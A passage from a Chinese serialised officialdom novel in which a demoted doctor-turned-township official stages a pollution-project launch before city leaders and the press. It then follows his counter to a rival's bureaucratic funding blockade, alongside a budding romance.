“嗯。”苏沐秋点点头,却没有立刻进去,她犹豫了一下,还是从包里拿出一个小小的保温杯,递了过去,“这是我从市里带来的,我妈自己熬的胖大海雪梨汤,润喉的。我看你今天说了那么多话,喝一点,对嗓子好。”
叶凡一愣,看着那个粉色的、带着卡通图案的保温杯,和他那身老干部的气质格格不入。
他想拒绝,但看到苏沐秋那双在月光下亮晶晶的、充满期待的眼睛,拒绝的话,却怎么也说不出口。
“谢谢。”他最终还是接了过来。
保温杯上,还残留着她指尖的温度。
苏沐秋看着他接过杯子,脸上露出了一个发自内心的笑容,像夜里悄然绽放的昙花。
“晚安。”她说完,转身轻快地跑进了招待所。
叶凡站在原地,握着那个温热的保温杯,许久没有动。
他拧开盖子,一股清甜的香气扑面而来。
他喝了一口,温润的液体滑过喉咙,仿佛也抚平了他心中连日来紧绷的弦。
他抬起头,看向天上的那轮明月。
他知道,接下来的路,会更加艰难。
但至少,在这条孤独的路上,似乎,有了一丝不一样的风景。
第23章 巧设舞台,请君入瓮!
叶凡要去请的那位“主刀医生”,不是别人,正是市纪委的**,高建民。
这是一个非常冒险的举动。
纪委的职责是监督执纪,按理说,不应该插手政府的具体项目运作。
叶凡直接找上门,一旦被拒绝,甚至可能引起对方的反感,认为他是在利用纪委的威信,为自己的政绩铺路。
但叶凡赌的就是高建民的格局。
高建民这种人,办案讲究的是“除恶务尽”。
他扳倒了马保国,查封了石料厂,但平安村的污染问题并没有得到根治,村民的健康依然受到威胁。
这对他来说,案子只算办了一半。
叶凡的“试点项目”,恰恰是为他这个案子,画上一个最圆满的句号。
叶凡没有通过钱国栋,而是直接用自己的手机,拨通了高建民办公室的电话。
电话响了很久才被接起,是一个年轻干部的声音,很警惕。
叶凡自报家门后,只说了一句话:“我向高**汇报一下‘青山镇污染案’的后续处理情况,以及涉案人员家属,对我进行的疯狂报复和栽赃陷害。整个过程,都有人证物证。”
“报复”、“栽赃”,这几个词,精准地戳中了纪委工作的敏感点。
五分钟后,高建民亲自回了电话。
“小叶同志,你现在在哪里?”高建民的声音依旧沉稳,但叶凡能听出一丝不易察觉的波动。
“我在青山镇。我恳请您和市里的相关领导,能来我们青山镇,开一个现场办公会。有些事,只有亲眼看到,才能明白我们基层的干部,正在承受什么样的压力,以及,我们为了解决问题,又在做什么样的努力。”
叶凡的姿态放得很低,用词是“恳请”,说的是“汇报”,但他表达的核心意思,却是“邀请”。
电话那头沉默了足足半分钟。
“把你的计划书,详细版的,发到我的邮箱。”高建民最后只说了这一句,便挂了电话。
叶凡知道,鱼,上钩了。
接下来的三天,整个青山镇政府以前所未有的高效率运转起来。
钱国栋亲自坐镇指挥,把镇里所有能动弹的干部都发动了起来。
王秘书带着人,把通往平安村的土路,连夜用碎石和黄土重新铺了一遍,至少保证车辆通行不会尘土飞扬。
李德海院长则成了平安村的“总导演”。
他把叶凡的意图,用最朴实的语言,告诉了每一个村民。
告诉他们,这次来的,是能决定他们未来命运的“大官”。
不需要他们说假话,也不需要他们**,只需要他们把自己的病痛,把对未来的担忧和期盼,原原本本地说出来。
村民们的情绪被彻底调动起来。
他们自发地清理了村口的垃圾,甚至有几户人家,把自家养的鸡鸭都圈了起来,生怕惊扰了贵客。
而苏沐秋,则发挥了她媒体人的强大能量。
她没有大张旗鼓地报道,而是通过私人关系,联系了市电视台、《江城日报》等几家主流媒体的核心记者。
她没有说要搞什么大新闻,只是透露了一个信息:市里某位领导,可能会亲临青山镇,现场解决一个重大的民生遗留问题,其中牵扯到一些不为人知的内幕,极具新闻价值。
媒体的嗅觉是敏锐的,这种带有悬念和冲突性的题材,对他们有着致命的吸引力。
一时间,各方力量都被调动起来,一张无形的大网,在青山镇悄然拉开。
所有人都像是上紧了发条的齿轮,只等叶凡这位“总工程师”,按下那个启动的按钮。
县委**张海涛,这几天如坐针毡。
他当然知道了青山镇的动静。
钱国栋那个老狐狸,还专门给他打了个电话,名义上是“汇报工作”,实际上就是通知他,市里要来人,你县里看着办。
张海涛憋屈得想骂娘。
这个叶凡,完全不按套路出牌。
他绕开了县里,直接和市里搭上了线,现在搞出一个“启动仪式”,把县委县政府架在了火上。
去参加,等于承认了叶凡的功劳,为他站台。不
去,更不行,市领导都来了,你县里一把手不出面,那就是**态度问题。
最终,他还是决定亲自去。
他倒要看看,这个叶凡,到底能玩出什么花样。
启动仪式当天,天公作美,是个少有的晴天。
平安村的村口,临时搭建起一个简陋的主席台,上面拉着一条红色的横幅:“江城市农村突发性环境公害治理与生态健康修复试点项目启动仪式”。
上午十点,几辆挂着**、市政府牌照的黑色轿车,准时驶入了平安村。
车门打开,走下来的人,让在场所有青川县的干部,都倒吸了一口凉气。
****、市纪委**高建民!
主管农业的副市长**!
市环保局局长,市卫生局局长,市农业局局长……
江城市但凡和这件事能扯上关系的部门,一把手几乎都到齐了。
这阵仗,别说是搞一个乡镇的项目启动仪式,就算是市里开人代会,也不过如此了。
张海涛快步迎了上去,跟在**副市长身边,脸上堆着谦卑的笑容,心里却翻江倒海。
他知道,自己彻底低估了叶凡能量,或者说,低估了叶凡撬动能量的能力。
叶凡和钱国栋作为东道主,站在一旁。
叶凡今天穿了一件半旧的白衬衫,黑西裤,看起来和镇里其他干部没什么两样。
但他站在那里,神情平静,不卑不亢,自有一股强大的气场,让所有人的目光,都无法从他身上移开。
仪式很简单,钱国栋讲了几句欢迎词后,就把话筒交给了叶凡。
叶凡没有站在主席台上,而是走到了台下,走到了村民们的中间。
他没有念稿子,只是环视了一圈那些熟悉而又充满期盼的面孔,缓缓开口。
“各位领导,各位来宾,各位平安村的父老乡亲。今天,我不讲大道理,也不喊空口号。我只想给大家介绍几位我的‘病人’。”
他拉过身边那位因为氟骨症,脊柱已经严重变形的张大山老人。
“这位是张大山大爷。他的儿子,因为长期在石料厂打工,得了矽肺病,去年冬天,没熬过去。他自己,因为常年饮用被污染的水,骨骼里的氟含量,超标了七倍。每一个阴雨天,他的骨头缝里,都像是有一万只蚂蚁在啃。”
他又指向不远处一个抱着孩子的年轻妇女。
“那位嫂子,叫刘翠花。她的孩子今年三岁,生下来就被诊断出先天性心脏病。我们市三院的专家会诊过,高度怀疑,和她在怀孕期间,摄入了过量的重金属镉有关。”
叶凡的每一句话,都像一把锥子,狠狠地扎在在场每一个人的心上。
他没有控诉,没有煽情,只是用一种医生的、冷静到近乎残忍的口吻,陈述着事实。
现场一片死寂。
那些平日里听惯了报告和套话的领导们,第一次如此直观地,感受到数据背后,那一个个鲜活的、痛苦的生命。
苏沐秋和她带来的记者们,摄像机和照相机的快门声响成一片。
他们知道,自己抓到了今天最震撼人心的新闻。
“所以,我们今天
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启动的这个项目,不是为了政绩,不是为了给谁的脸上贴金。”叶凡的声音陡然提高,“我们是为了救命!是为了让张大爷的晚年,能少一点痛苦。是为了让刘嫂子的下一个孩子,能健健康康地出生!是为了让平安村的天,能重新变蓝,水,能重新变清!”
“我们青山镇,没钱,没资源。但是我们有决心,有把丑闻变成范本的勇气!我们恳请**、市政府,给我们一个机会,给平安村的百姓,一条活路!”
说完,他朝着主席台的方向,深深地鞠了一躬。
他身后,几百名平安村的村民也跟着他,默默地,深深地鞠了一躬。
无声的画面,却蕴含着雷霆万钧的力量。
副市长**的眼圈,红了。
他转头看了一眼身旁的高建民,高建民的脸上,依旧是那副铁面无私的表情,但那紧紧抿着的嘴唇,却暴露了他内心的不平静。
**接过话筒,声音有些沙哑:“同志们,乡亲们,我今天,很受触动,也很惭愧。作为分管领导,我们工作没做到位,让大家受苦了。”
他停顿了一下,目光扫过全场,最后定格在叶凡的身上。
“刚才叶凡同志说,恳请市里给一个机会。我现在,就可以代表**、市政府,给他一个答复。”
“这个‘试点’,市里不仅要批,而且要大力地支持!资金上,市财政先期拨付五十万专项资金!政策上,允许你们先行先试!人力上,市环保局、卫生局的专家,随时听候调遣!”
“我只有一个要求,”**的声音变得斩钉截铁,“要把这个项目,做成一个真正的样板工程!做成我们江城市,敢于直面问题、解决问题的,一张名片!”
话音刚落,村民中,爆发出雷鸣般的掌声。
那掌声,发自肺腑,经久不息。
张海涛站在人群里,脸色一阵红一阵白,最后也只能跟着鼓掌。
他知道,从今天起,青山镇,这个叶凡,他再也压不住了。
仪式的最后,**副市长和高建民**,在叶凡的陪同下,走进了村里,挨家挨户地探望。
走到村口那棵大榕树下,高建民突然停下脚步,单独把叶凡叫到了一边。
“小叶,你今天这台戏,唱得很好。”高建民的语气,听不出是褒是贬。
“我只是一个搭台子的,真正的主角,是那些受苦的百姓。”叶凡说。
“那个栽赃你的督查组成员,已经全部交代了。”高建民话锋一转,“主谋,是市卫生局的刘副局长。背后,有没有人指使,他咬得很死,说没有。”
叶凡点点头,这在他预料之中。
柳传明不可能留下这么明显的把柄。
“不过,”高建民看着他,眼神变得意味深长,“你这么一闹,柳传明那边,怕是要狗急跳墙了。他这个人我了解,最重面子,也最擅长在‘规矩’里**。你把事情闹得这么大,让他下了不台,他下一步,一定会用更‘合规’的方式,来给你下绊子,让你这个项目,寸步难行。”
“兵来将挡,水来土掩。”
“光挡,是不够的。”高建民摇了摇头,“有时候,最好的防守,是进攻。”
他拍了拍叶凡的肩膀,没有再多说,转身离去。
叶凡站在原地,细细品味着高建民最后那句话。
“最好的防守,是进攻……”
他抬起头,看向江城市的方向,眼神变得前所未有的锐利。
他知道,随着“试点项目”的正式启动,他和柳传明之间,已经从暗中的交锋,彻底转入了正面的对决。
一场真正的风暴,即将来临。
第24章 釜底抽薪,暗流汹涌!
启动仪式结束的第二天,青山镇的名字,以前所未有的频率,出现在了江城市的各大媒体之上。
市电视台的午间新闻,用整整三分钟的时间,播报了这场在田间地头举行的特殊仪式。
镜头里,叶凡站在村民中间,眼神清澈,言辞恳切,他身后,是村民们一张张布满沧桑却又燃起希望的脸。
《江城日报》更是在头版头条,刊登了苏沐秋亲自撰写的深度报道,标题掷地有声——《一场迟来的启动仪式,一个关乎生命的承诺》。
报道中,叶凡“医学博士下乡”、“为民**”的形象,被清晰地勾勒出来,与平安村触目惊心的污染现状,形成了强烈的对比。
一时间,叶凡这个名字,第一次正式地,大规模地,进入了江城市普通市民的视野,引发了热烈的讨论和广泛的同情。
声名,如潮水般涌来。
而这潮水,也同样拍打进了**宣传部部长柳传明的办公室。
柳传明看着报纸上,叶凡那张占据了显著版面的、略显清瘦却异常坚毅的脸,眼神阴沉得仿佛能滴出水来。
他没有像柳志鹏那样暴跳如雷,更没有摔东西。
相反,他显得异常平静。
他只是缓缓地摘下老花镜,用绒布仔仔细细地擦拭着,仿佛那上面沾染了什么让他厌恶的污点。
许久,他拿起桌上那部红色的保密电话,拨通了一个号码。
电话接通,他甚至没有一句寒暄,声音平淡无波,却透着一股不容置疑的寒意。
“老周,青川县的财政,最近是不是要加强监管和审计啊?”
“尤其是专项资金的使用,一定要规范,绝对不能出任何纰漏。”
“咱们要对国家的钱负责,不能让国家的钱,被一些别有用心的人,当成个人往上爬的梯子。”
电话那头,青川县财政局局长周建斌连声应是,额头上已经渗出了细密的冷汗。
挂断电话,柳传明将报纸对折,整整齐齐地,扔进了碎纸机里。
刺耳的粉碎声中,他仿佛听到了叶凡那可笑的声名,被撕成碎片的声音。
……
钱国栋最近走路都带风,脸上的笑容就没断过。
五十万专项资金,对于穷得叮当响的青山镇来说,不啻于一笔巨款。
他拿着李副市长亲自批复的**,雄赳气昂地走进了县财政局的大楼,准备去对接这笔救命钱。
然而,他想象中,财政局长周建斌热情接待、当场办结的场面,并没有出现。
周建斌倒是客客气气地把他请进了办公室,泡上了好茶。
“钱**,您来了。”周建斌是个戴着金丝眼镜的胖子,笑起来一脸和气,像个弥勒佛。
“市里的文件,我们昨天就收到了,局里连夜开会学习了李副市长的指示精神,我们坚决执行,全力配合!”
钱国栋听着这官样文章,心里有点不耐,直接把文件推了过去:“周局长,客套话就不说了,我们镇里等米下锅,你看这资金什么时候能拨付?”
周建斌扶了扶眼镜,面露难色地搓着手:“钱**,您别急嘛。市里的文件我们当然要执行,但咱们县里,也有县里的规矩。”
他从一堆文件中,慢条斯理地抽出一份清单,递了过去。
“您看,这么大一笔专项资金,按照规定,为了确保资金使用的科学性、合规性和有效性,需要项目方,也就是你们青山镇,提供一份详尽的《资金使用可行性评估报告》。”
钱国栋接过清单,只看了一眼,血压就“蹭”地一下子上来了。
那上面,密密麻麻地罗列着报告需要包含的内容。
从项目地的水文地质勘探数据,到土壤重金属成分分析;从周边生态环境影响评估,到不同修复方案的成本效益对比;甚至还要求有未来五年,村民健康指数与生态环境改善的量化关联模型。
报告的最后,还需要县环保局、水利局、国土局、农业局、地矿局等十几个部门的联合会签盖章。
“周建斌!”钱国栋气得把清单拍在桌子上,“你这是什么意思?这哪里是评估报告,这分明就是一篇博士论文!你让青山镇去哪里给你搞这些东西?”
周建斌脸上的笑容不变,但眼神里却透出一丝冰冷的得意。
“钱**,话不能这么说。这都是按
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规矩办事,也是为了对国家财产负责嘛。您想,五十万不是个小数目,万一花错了地方,将来审计追责,我这个财政局长可担待不起啊。”
“你……”钱国栋气得手指发抖,他瞬间明白了。
这不是规矩。
这是柳传明递过来的一把软刀子,一把用“规矩”和“程序”包裹起来的,**不见血的刀!
他知道,这份报告,就算把整个青山镇政府的干部都累死,没有大半年的时间,也绝对搞不下来。
而资金一天不到位,那个轰轰烈烈的试点项目,就一天是个空架子。
叶凡之前在媒体上造出的偌大声势,很快就会变成一个天大的笑话。
一个只会作秀、光说不练的**小丑。
釜底抽薪!
这一招,阴险,毒辣,而且让你有火发不出,有理说不清。
最终,钱国栋是铁青着脸,走出财政局大楼的。
他手里那份曾经让他意气风发的**,此刻却像一张废纸,充满了讽刺。
资金被县财政局卡住的消息,像一阵寒风,迅速吹遍了青山镇政府的每一个角落。
刚刚因为试点项目而高涨起来的士气,瞬间跌入冰点。
走廊里,原本热情洋溢的“叶镇长好”,变成了小心翼翼的、带着同情的观望。
窃窃私语声在各个办公室里响起。
“听说了吗?五十万,一分钱都没要到。”
“唉,我就说嘛,叶镇长还是太年轻了,把市里的柳部长得罪得那么狠,以后哪有好日子过。”
“这个项目,我看悬了,怕是要黄。”
王秘书将这个情况,忧心忡忡地汇报给了叶凡。
叶凡听完,脸上没有任何表情,没有钱国栋那样的暴跳如雷,也没有旁人预想中的颓丧。
他只是平静地拿过那份繁琐到变态的报告要求清单,一个人回到了办公室。
他把自己关在里面,整整一个下午。
夕阳西下,办公室里没有开灯,叶凡的身影被拉得很长,他静静地坐在桌前,看着那份几乎不可能完成的任务清单,宛如一个冷静的猎人,在审视着对手布下的、天衣无缝的陷阱。
第25章 规矩之锁,破局之心!
夜,深了。
青山镇政府大楼里,早已是人去楼空,一片漆黑。
只有二楼西头,那间曾经属于马卫国的办公室里,还亮着一盏孤灯。
灯光下,是堆积如山的资料,和叶凡那张看不出喜怒的脸。
他没有像钱国栋那样,气急败坏地到处打电话、找关系。
他也听到了镇政府里那些风言风语,感受到了那股从高涨到冰点的士气落差。
但他只是静静地坐着,将那份来自县财政局的“紧箍咒”,一字一句地,反复研读。
他不像一个被刁难的乡镇干部,更像一个经验丰富的外科医生,在手术前,冷静地审视着一张无比复杂的CT片。
他知道,病灶就在那里。
粗暴地切开,只会导致大出血。
他必须找到最精准的入刀角度,找到那条隐藏在繁复组织下的,通往核心的血管。
柳传明的这一招,确实高明。
它就像一个用无数条“合规”的锁链,打造出的坚固牢笼。
你越是挣扎,越是愤怒,这牢笼就勒得越紧。
你若是想用**去冲击它,对方马上就能给你扣上一顶“不按规矩办事,煽动**施压”的大帽子,让你从有理变成无理。
这是一场在“规矩”之内的战争,硬闯,必死无疑。
就在这时,桌上的手机,突兀地响了起来,打破了深夜的寂静。
来电显示的名字,让叶凡的眼神柔和了一瞬。
是苏沐秋。
“喂。”他接起电话,声音因为长时间的沉默,带着一丝沙哑。
“叶凡!”电话那头,苏沐秋的声音里带着压抑不住的焦急和愤怒,“我听说了资金的事!这简直是欺人太甚!无法无天!”
“他们怎么敢这么做?市领导亲自批示的项目,他们一个县财政局,就敢用这种下三滥的手段卡着不放!这是赤裸裸的官僚主义,是懒政怠政!”
“你别急,我明天就回去找我们总编,我们再写一篇内参,把他们这种丑恶的嘴脸,揭露出来,直接捅到市纪委去!”
苏沐秋义愤填膺,像一头被激怒的小狮子,恨不得立刻就为叶凡冲锋陷阵。
听着她气鼓鼓的声音,叶凡紧绷了一天的神经,莫名地松弛了下来。
他甚至能想象出,她此刻在电话那头,一定是蹙着秀眉,挥舞着小拳头的可爱模样。
他轻笑了一声,那笑声在寂静的夜里,透过电流,显得格外清晰,带着一种安抚人心的磁性。
“别。”
一个字,让苏沐秋所有的激动,都戛然而止。
“为什么?”她不解地问。
“苏大记者,你忘了我上次是怎么跟你说的?”叶凡靠在椅背上,声音变得从容,“柳传明这种人,最擅长的,就是在‘规矩’里**。”
“他现在布下这个局,就是等着我们往里跳。你现在去写内参,揭露他们,正中他的下怀。”
“他马上就可以反咬一口,说我们青山镇工作能力不行,拿不出一份合格的可行性报告,完不成项目,就试图用**来**政府,混淆视听。”
“到时候,屎盆子就严严实实地,扣在我们自己头上了。我们,就从占理的一方,变成了无理取闹的小丑。”
电话那头,陷入了长久的沉默。
苏沐秋不是蠢人,她只是关心则乱。
经过叶凡这么一点拨,她瞬间就明白了其中的凶险,背后甚至冒出了一层冷汗。
如果她真的这么做了,不仅帮不了叶凡,反而会把他推入更深的深渊。
“那……那怎么办?”她的声音低了下去,带着一丝后怕和浓浓的担忧,“难道就这么眼睁睁地看着他们得逞吗?”
听着她声音里的无助,叶凡的心,软了一下。
他换了个更舒服的姿势,语气也变得柔和起来,像是在安抚一个受了委屈的孩子。
“放心吧,天塌不下来。”
“不过是区区一份报告而已
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,这点小场面,还难不倒我。”
他的声音里,透着一股与生俱来的强大自信,仿佛再大的困难,在他面前也不过是土鸡瓦狗。
这份自信,瞬间感染了苏沐秋,让她慌乱的心,渐渐安定了下来。
两人一时间都没有说话,只有浅浅的呼吸声,在电话两端,静静流淌。
这种静谧,非但不尴尬,反而有种奇妙的温馨。
“对了,”叶凡像是忽然想起了什么,打破了沉默,“你上次送的那个胖大海雪梨汤,挺好喝的。”
一句看似不经意的话,却像一颗小石子,投进了苏沐秋平静的心湖,激起了一圈又一圈的涟漪。
电话那头,苏沐秋的脸颊“刷”地一下就热了,心跳也莫名地快了半拍。
她下意识地握紧了手机,连声音都变得有些结巴。
“你……你喜欢喝,我……我下次再给你带。”
这句简单的话,让两人之间的氛围,从并肩作战的“战友情”,悄然多了一丝说不清、道不明的暧昧。
空气里,仿佛都飘散着甜丝丝的味道。
“好。”叶凡应了一声,嘴角的笑意更深了。
挂断电话,办公室里重又恢复了寂静。
但叶凡的心情,却和之前截然不同。
他站起身,走到窗边,推开窗户,清冷的夜风拂面而来,让他混沌的头脑,变得无比清晰。
窗外,月华如水,星子漫天。
柳传明想用“规矩”这把锁,困死他?
那他就跳出这个所谓的规矩,用一个他绝对想不到的方式,把这个局,彻底破掉!
他回到桌前,没有再看那份报告清单。
他拿出一个全新的笔记本,翻开第一页,拿起笔,力透纸背地,写下了几个大字。
“最好的防守,是进攻!”
高建民**的话,在他脑海中回响。
一抹冰冷的、带着锋锐杀意的笑,在他嘴角缓缓勾起。
游戏,才刚刚开始。
第26章 借力打力,逆风执刀!
第二天一早,青山镇政府大楼里的气氛,依旧压抑得让人喘不过气。
钱国栋的办公室里,烟雾缭绕,烟灰缸里已经堆满了烟头。
他顶着一双布满血丝的眼睛,打了一早上的电话,联系了所有他能想到的老部下、老关系。
得到的答复,却如出一辙。
“老钱啊,不是我不帮你,周建斌那头是柳部长亲自打的招呼,谁敢碰这个霉头?”
“这事儿摆明了是神仙打架,咱们这些小鬼,还是躲远点好。”
“规矩上,人家站得住脚,我们没法插手啊。”
一圈电话打下来,钱国栋的心,沉到了谷底。
他这才真切地体会到,柳传明那张看不见的网,在青川县这张小小的棋盘上,是何等的根深蒂固,何等的让人绝望。
就在他一筹莫展之际,办公室的门被敲响了。
叶凡走了进来。
他神色平静,眼神清亮,看不出半点熬夜的疲惫,更没有丝毫被困局所扰的焦虑。
“钱**,把李院长也叫过来吧,开个短会。”
十分钟后,钱国栋的办公室里,青山镇的“铁三角”再次聚首。
李德海一脸愁容,钱国栋则把最后半截烟狠狠地摁灭在烟灰缸里。
“叶凡,你有什么想法?再这么拖下去,咱们在老百姓面前,可就真成了放空炮的了!”钱国栋的声音嘶哑。
叶凡没有直接回答,而是把那份报告清单,放在了桌子中央。
“这份报告,你们怎么看?”
“怎么看?这就是存心刁难!是鸿门宴!”李德海气愤地一拍大腿。
“没错,是鸿门宴。”叶凡点点头,话锋一转,“但你们有没有想过,柳传明为什么不直接动用权力,让县里否决这个项目,而是要费这么大劲,给我们设下这么一个‘规矩’的圈套?”
钱国栋和李德海都愣住了。
叶凡的目光扫过两人,缓缓道出自己的分析。
“因为高建民**,因为**副市长,因为市里的媒体。我们的启动仪式,已经把这个项目抬到了一个足够高的高度,他不敢公然反对,那是在打市领导的脸。”
“所以,他只能在‘规矩’的框架内,给我们制造障碍。他笃定我们完不成这份报告,到时候,项目黄了,责任全在我们自己身上。是我们能力不行,是我们辜负了市领导的期望。他柳传明,干干净净,毫发无损。”
“这,就是高**提醒我的,柳传明最擅长的,‘规矩’里的**术。”
一番话,如醍醐灌顶,让钱国栋和李德海瞬间看清了整个棋局的凶险。
“那……那我们该怎么办?”钱国栋急切地问,“难道真要花大半年时间,去跟他耗着弄这个报告?”
“不。”叶凡摇了摇头,嘴角勾起一抹玩味的笑。
“他要报告,我们就给他报告。”
“给他一份他绝对想不到,也绝对不敢不接的报告!”
看着两人疑惑的眼神,叶凡从自己的公文包里,拿出了一份他熬了一夜,刚刚拟好的**草稿。
他将文件推到两人面前。
文件的标题是——《关于恳请市级各相关部门,对我镇“生态健康修复试点项目”可行性评估工作,进行技术指导与联合会审的请示》。
钱国栋拿起文件,逐字逐句地念了出来,他的眼睛,越睁越大,呼吸也变得越来越急促。
“这……这是……”
“借力打力。”叶凡的声音平静,却带着一股石破天惊的力量。
“既然县财政局周局长,对我们这份报告的要求,如此之高,如此之严谨,说明他非常重视这项工作。我们基层单位,能力有限,水平不足,为了不辜负县领导的期望,为了对五十万国家专项资金高度负责,我们主动向市里求援,这合情合理吧?”
“我们不要求市里拨款,我们只是‘恳请’市卫生局、市环保局、市水利局的专家们,屈尊降贵,来我们青山镇,现场指导我们这些基层干部,如何完成这份‘高标准、严要求’的评估报告。”
“我们还要把这份请示,抄送给**副市长的办公室,抄送给市纪委高**的办公室。”
“钱**,你说,”叶凡看着已经目瞪口呆的钱国
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栋,一字一句地问道,“这份请示送上去之后,市里的专家,是来,还是不来?”
“周建斌局长,是欢迎,还是不欢迎?”
“他一个县财政局长,敢不敢把他那套所谓的‘规矩’,摆在市局的专家面前?”
“他敢不敢说,市里的专家,水平还不够,没资格给他做这份报告?”
叶凡的每一个问题,都像一记重锤,狠狠地砸在钱国栋和李德海的心上。
办公室里,死一般的寂静。
片刻之后,钱国栋猛地一拍桌子,整个人因为极度的兴奋而颤抖起来。
“妙!妙啊!这简直是神来之笔!”
他看着叶凡,眼神里充满了震撼和狂喜。
这一招,何止是借力打力,这简直是请来了一座泰山,直接压向了周建斌那个小小的山头!
周建斌不是要规矩吗?好,我给你请来制定规矩的人!
他不是要报告吗?好,我让你的顶头上司,亲自来给你写这份报告!
这已经不是破局了,这是掀桌子!
而且是把桌子掀得让所有人都无话可说,甚至还要拍手叫好!
李德海也反应了过来,他看着叶凡的眼神,已经近乎于仰望神明。
这位年轻的叶镇长,他的脑子到底是怎么长的?
每一次,当他们都以为陷入绝境的时候,他总能用一种匪夷所思的方式,逆风翻盘,执刀反杀!
“我马上去县委,找张**签字盖章!”钱国栋激动地站了起来,他知道,张海涛就算心里再不情愿,面对这样一份“谦虚好学、积极向上”的请示,他也找不到任何理由拒绝。
叶凡却按住了他。
“不急。”
他拿起笔,在笔记本上,高建民**的那句“最好的防守,是进攻”下面,又写了一行字。
“进攻,也要讲究章法。”
他抬起头,眼神锐利如刀。
“柳传明给了我一柄刀,逼我自戕。那我就用这柄刀,先斩断他伸出来的,最碍事的一根手指。”
“这份请示,我们要送。但在送之前,我还要去一个地方,见一个人。”
第27章 投石问路,旧友重逢!
叶凡要去见的人,是市卫生局局长,林国良。
如果说,高建民是纪委这把“尚方宝剑”的执掌者,那么林国良,就是卫生系统这个“专业领域”的最高权威。
柳传明想用“专业报告”来卡死项目,叶凡就要用“专业的权威”,来反制他。
但他不能贸然去。
林国良是柳传明的老部下,是柳传明一手提拔起来的。
直接上门,恐怕连门都进不去。
叶凡需要一个合适的切入点,一个让林国良无法拒绝的理由。
他想到了一个人。
市三甲医院。
他的老东家。
他给原心外科主任,也是他的导师,**打了个电话。
**接到叶凡的电话,语气里带着一丝复杂。
叶凡的离开,对他而言,是痛失臂膀。
但叶凡被下放乡镇后,他也不敢公开支持,只能暗中惋惜。
“小叶啊,怎么想起给我打电话了?”**故作轻松地问。
“陈主任,我遇到点难题,想请您帮忙。”叶凡没有绕弯子,直接说明来意,“我们青山镇的生态健康修复试点项目,需要一份专业的评估报告。县财政局那边,要求非常严格,需要市里多个部门的专家联合会签。”
“我希望能请市卫生局的专家,能来我们青山镇,现场指导一下我们基层的工作。我想请您,帮我引荐一下林局长。”
**沉默了。
他当然知道这份报告的背后,牵扯着什么。
柳传明和叶凡的恩怨,在市里并不是秘密。
介入这件事,就意味着要站队。
“小叶啊,你也知道,林局长日理万机……”**开始打哈哈。
“主任,这个项目,关系到几百名村民的生命健康,关系到江城市农村生态环境的未来。”叶凡的声音变得严肃,“这不是我一个人的事,这是民生,是责任。您是医生,您比我更清楚,在生命面前,没有什么可以妥协。”
“更何况,”叶凡话锋一转,语气中带着一丝不易察觉的挑衅,“您难道就不想看看,您亲手教出来的学生,在离开了手术台之后,还能不能‘救人’吗?”
**被叶凡这话噎住了。
他了解自己的这个学生,平时内敛温和,但骨子里却带着一股外科医生特有的偏执和傲气。
他沉思良久。
他确实欣赏叶凡的才华,也痛心于他的遭遇。
最重要的是,叶凡提到了“生命健康”、“民生责任”,这触及了他作为一名医生的底线。
“这样吧,”**终于开口,声音中带着一丝无奈,也带着一丝决断,“你把你的项目方案,和那份报告清单,发给我。我先看看。至于林局长那里,我帮你问问,但他会不会见你,我可不敢保证。”
“谢谢您,主任。”叶凡知道,**能说出这句话,就已经冒了很大的风险。
挂断电话,叶凡立刻将熬夜整理出的项目方案和报告清单,发给了**。
他知道,这只是第一步。林国良愿意见他,才算是真正打开了局面。
两天后,叶凡接到了**的电话。
“小叶,林局长同意见你,但只有十分钟时间。明天上午九点,市卫生局局长办公室。”
“谢谢主任!”叶凡心中一喜。十分钟,足够了!
第二天,叶凡提前半小时抵达市卫生局大楼。
这是他离婚后,第一次回到这个曾经熟悉又陌生的城市。
他站在大厅里,看着来来往往的医务人员和政府工作人员,心中五味杂陈。
曾经,他也是其中一员,是市三甲医院最年轻的心外科主治医生,前途无量。
而现在,他是一个被下放到乡镇的“弃子”,一个试图在官场夹缝中求生存的“另类”。
“叶凡?”
一个清冷的声音在他身后响起。
叶凡转身,看到了一张熟悉的面孔。
柳如烟。
她穿着一身得体的职业套装,化着精致的淡妆,长发披肩,脸上带着一丝惊讶和不易察觉的复杂情绪。
她显然是来市卫生局采访的。
“柳记者。”叶凡的语气波澜不惊,眼神里没有波澜,也没有躲闪。
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他已经不再是那个被她和她家人轻易伤害的叶凡了。
柳如烟的目光在他身上停留了几秒,似乎想从他平静的脸上看出些什么。
“你怎么会在这里?”她问,语气中带着一丝探究。
“有点公事。”叶凡没有多说。
柳如烟的眉头微微蹙起。
她知道青山镇的那个试点项目,也知道叶凡在其中扮演的角色。
她还知道,那笔资金被卡在了县财政局。
她以为叶凡会焦头烂额,会四处求人。但眼前的他,却显得如此平静,甚至带着一丝她从未见过的从容和自信。
“你……还好吗?”她鬼使神差地问了一句。
“托福,很好。”叶凡淡淡地回答。
气氛一时有些尴尬。
柳如烟想说些什么,却又不知从何说起。
她看着眼前这个曾经被她视为“烂泥扶不上墙”的男人,如今身上散发出的那种气场,让她感到陌生,甚至有些……心悸。
就在这时,一个年轻的卫生局干部走了过来,恭敬地对叶凡说:“叶镇长,林局长请您进去。”
叶凡点点头,对柳如烟说了一句:“抱歉,我还有事。”
然后,他转身,迈着沉稳的步子,走进了林国良的办公室。
柳如烟站在原地,看着他离去的背影,眼神复杂。
“叶镇长?”她咀嚼着这个称谓,心中掀起了惊涛骇浪。
她知道他现在是副镇长,但“叶镇长”这个称谓,从一个市局干部口中说出来,分量完全不同。
她忽然想起那天在青山镇,他站在村民中间,意气风发的样子。
她也想起了那篇内参,和市领导对他的高度评价。
曾经,她以为他离开了自己,离开了柳家,就会一无所有,一蹶不振。
可现在看来,他非但没有沉沦,反而像一柄被磨砺得更加锋利的剑,开始在另一个战场上,绽放出夺目的光芒。
一种说不清道不明的情绪,在柳如烟的心中悄然滋生。
是惊讶?是嫉妒?还是……一丝连她自己都不愿承认的后悔?
第28章 谈判桌上的“外科手术”!
林国良的办公室宽敞明亮,挂着一幅大气磅礴的山水画。
林国良本人五十多岁,身材微胖,戴着金丝眼镜,头发梳得一丝不苟。
他坐在办公桌后,面带微笑,但那笑容却带着一种居高临下的审视。
“小叶同志,坐吧。”他指了指对面的椅子,语气平淡。
叶凡坐下,没有寒暄,也没有客套。
他知道自己只有十分钟,每一秒都弥足珍贵。
“林局长,我这次来,是想向您和卫生局的各位专家,求助的。”叶凡开门见山。
林国良笑了笑:“求助?青山镇的试点项目,不是已经得到市领导的批示,也拿到了专项资金了吗?这还需要什么求助?”
他这句话,看似关心,实则暗含讽刺。
他知道资金被卡,叶凡是在明知故问。
